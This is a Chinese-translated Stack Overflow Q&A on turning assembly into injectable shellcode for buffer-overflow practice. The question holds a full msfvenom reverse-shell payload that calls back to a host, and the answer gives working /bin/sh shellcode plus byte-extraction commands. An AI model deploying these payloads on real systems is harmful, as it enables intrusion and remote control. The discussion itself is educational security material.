我如何将汇编代码转换为可执行的十六进制代码?

3

我在训练缓冲区溢出漏洞,现在已经学到了将内容注入内存的方法,但问题是我只能使用ESP中的有限空间,所以我用简单的汇编语言写了一个“hello world”程序:

汇编代码(简单的hello world)

global _start
;;;;;64bit only
_start:
    jmp short string

code:
    pop rsi
    xor rax, rax
    mov al, 1
    mov rdi, rax
    mov rdx, rdi
    add rdx, 14
    syscall

    xor rax, rax
    add rax, 60
    xor rdi, rdi
    syscall

string:
    call code
    db  'Hello, world!',0x0A

这是使用Nasm编写的

我第一次发现这个是在生成msfvenom载荷时,有一个选项可以指定shellcode的语言(我选择了C),然后它会生成十六进制可执行代码,你只需要将其注入到内存中并简单地运行即可。

十六进制代码(反向shell的可执行十六进制代码)

unsigned char buf[] = \xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x89\xe5\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x66\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5;

但是当我试图自己做这件事时,我发现我必须先编写汇编程序,然后将其转换为十六进制可执行代码,我已经寻找了一周的方法,但没有结果。

我尝试过的

我尝试逐个转换汇编指令,然后添加参数(也转换为十六进制),这显然行不通。

-----

那个汇编代码似乎可以使用:./nasm.exe -fwin64 shellcode.asm,但不能使用:./nasm.exe -fwin32 shellcode.asm

我认为它不兼容 32 位。

并且当我执行:./nasm.exe -felf64 shellcode.asm -o shellcode.o,然后:ld -s -o shellcode shellcode.o它说无法识别文件shellcode.o的格式


2
不,ihex是一种特殊的格式。你只需要一个平面二进制文件“-f bin”,然后使用十六进制转储工具即可。无论如何,正如我所说的,您需要填写地址,这取决于目标进程(当然,目标需要将C库映射到开始位置)。 - Jester
是的,代码和数据都需要在一个部分中放在一起(不是.data),但使用libc函数不是制作shellcode的好起点,如果这是你想做的事情。当然,您还需要使用PC相对寻址来处理数据,而不是32位绝对地址。(或者像Jester说的那样,修复地址。) - Peter Cordes
哦,我以为我在为Windows x86编写shellcode! 我现在很迷茫,我只知道要使用PC相对寻址硬编码地址,并将变量添加到.text节中,这样它们就会在堆栈中而不是数据中。 - segfaulty
1
如果您知道您的目标Windows版本并且可以查找反向工程的系统调用号码,则可以直接使用int 0x2e,前提是它仍在64位内核下工作。(WinAPI DLLs通过远跳转进入64位模式以进行syscall)。使用MASM或NASM并不重要;帮助链接到DLL的任何MASM功能都是无关紧要的,因此您可能只需要使用NASM来制作平面二进制文件。使用int 0x80意味着您正在针对Linux,而不是NASM。它将在Windows上产生错误;请在非shellcode中尝试。 - Peter Cordes
1
不,你应该只在64位代码中使用“syscall”,而不是32位。 (它由AMD引入,因此现代的AMD CPU即使在32位模式下也支持它,但Intel仅采用了64位模式下的“syscall”。)如果您从编写普通程序并查看它们如何汇编为机器代码开始学习汇编语言,则会更容易学习汇编语言。 (在Windows上,我猜开始尝试避免使用库?或者只是针对Linux shellcode,因为它具有稳定的系统调用ABI)。 只有当你理解这一点后,才应该考虑如何将机器代码和数据片段注入到其他进程中! - Peter Cordes
显示剩余17条评论
1个回答

4

我在软件安全课程中学到了这个知识。由于那已经过去一年以上了,所以有些细节对我来说有点难以记住。我会专注于重点。

首先我们来编写简单的汇编代码。

GLOBAL _start
_start:
    xor rdx, rdx                ;use xor edx,edx to save 1 byte
    push rdx
    mov rax, 0x68732f2f6e69622f ;The result of '/bin//sh' in reverse byte order
    push rax                    ;push '/bin//sh' into stack
    mov rdi, rsp                ;Get the address of '/bin//sh' from rsp and put it into rdi
    push rdx 
    push rdi
    mov rsi, rsp
    xor rax, rax
    mov al, 0x3b
    syscall

使用nasm编译和运行Shellcode。

nasm -f elf64 shellcode.asm -o shellcode.o
ld shellcode.o -o shellcode               
./shellcode

使用 objdump 命令获取十六进制输出,你也可以使用 编译器资源浏览器

objdump -d shellcode

您可以通过以下指令直接筛选掉无关输出,获取shellcode。
objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

这是输出结果。

"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"

根据评论,在汇编代码中添加 bits 64 后,下面列出的Linux命令也能正常运行。

xxd -ps shellcode |  sed 's/../\\x\0/g'

此外,如果您是一名CTF新手,可以使用pwntools。它更加方便。
from pwn import *
context(arch = 'amd64', os = 'linux',log_level = 'debug')
shellcode=asm(shellcraft.amd64.linux.sh())
print(shellcode)

您还可以使用CobaltStrike和Msfvenom。


2
请勿发布文字图片,除非实际上只有图片才能表达。在这里,您可以将终端中的内容复制/粘贴到代码块中。您已经将实际的objdump命令提取到了代码块中,但是nasm / ld构建命令被隐藏在图像中。 - Peter Cordes
2
另外,你使用的是哪个古老版本的NASM,它没有默认优化你低效的代码呢?例如,你的 xor rdx,rdx 仍然带有无用的 REX.W 前缀。多年来,NASM 默认使用 -O2 ,因此您会得到最优并且与架构等效的 31 d2 xor %edx, %edx,就像在为什么NASM在Linux上更改x86_64汇编中的寄存器中所示。或者,也���你实际上是使用YASM来生成这个机器码?它不会自动为您优化操作数大小。 - Peter Cordes
3
你可以使用nasm shellcode.asm ; xxd -ps shellcode来生成shellcode。 - Arget
1
哦,看来我错了。我知道NASM会为你优化mov rax, 1mov eax, 1,但是当我现在实际尝试时,它似乎不会在2.11.05或2.15.05中优化异或零操作。因此,除非你有某种原因想要在你的shellcode中放置一个ASCII 'H',否则你应该始终手动执行该操作。 - Peter Cordes
1
xxd不会给出任何无关的十六进制输出。你可能正在运行它在nasm -felf64输出上并转储ELF元数据。这不是@Arget写的内容;为了使nasm shellcode.asm工作,您需要使用bits 64,以便将64位机器代码汇编成平面二进制代码,但然后您就可以轻松地进行十六进制转储。(并通过管道传递sed 's/../\\x\0/g'或awk或其他东西在十六进制数字对之间添加\x) - Peter Cordes
显示剩余3条评论

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接